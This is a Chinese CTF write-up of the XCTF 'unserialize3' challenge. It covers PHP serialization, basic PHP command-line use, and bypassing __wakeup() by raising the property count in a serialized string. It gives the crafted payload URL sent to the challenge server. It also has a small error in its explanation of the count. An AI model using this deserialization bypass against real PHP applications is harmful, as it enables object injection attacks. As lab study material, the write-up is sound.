PHP反序列化漏洞#XCTF题 : unserialize3#绕过wakeup()函数

送分小仙女□ 提交于 2020-01-06 22:18:15

1.代码与结果

代码如下:

<?php 
class xctf{
public $flag='111';
public function __wakeup(){
exit('bad requests');
}
}
$content = new xctf();
echo serialize($content);
?> 

结果如下:

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

实验截图:

2.相关姿势点

2.1 PHP 常用命令行

2.11 Linux命令行运行指定php文件

php -f  test.php

2.12 直接运行php代码

php -r "phpinfo();"

2.13 交互模式运行PHP

php -a

2.14 PHP脚本作为shell脚本运行

没有权限则切换到root用户 sudo su

echo '#!/usr/bin/php\n<?php var_dump($argv); ?>' > phpscript

注意,我们在该PHP脚本的第一行使用#!/usr/bin/php,就像在shell脚本中那样(/bin/bash)。

第一行的#!/usr/bin/php告诉Linux命令行用 PHP 解释器来解析该脚本文件。

确定phpscript 有可执行权限

chmod u+x phpscript

./phpscript -h --foo

array(3) {
  [0]=>
  string(11) "./phpscript"
  [1]=>
  string(2) "-h"
  [2]=>
  string(5) "--foo"
}

2.2 php序列化操作解析

由第一部分的结果来解释:

O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

序列化函数的作用:序列化对象或数组,并返回一个字符串。

各个字符的意义 ---> o表示对象,a表示数组,s表示字符,i表示数字

3. wakeup()漏洞[绕过过滤函数wakeup()]

wakeup()漏洞就是与整个属性个数值有关。

当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会 跳过 wakeup的执行。

也就是2.2代码部分,"xctf"后的 1 ,表示花括号里有两个数据。

根据代码中的?code= 可得知,将得到的序列化字符串赋值给code进行传递。

访问http://111.198.29.45:34517?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}得到flag,如图所示。

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!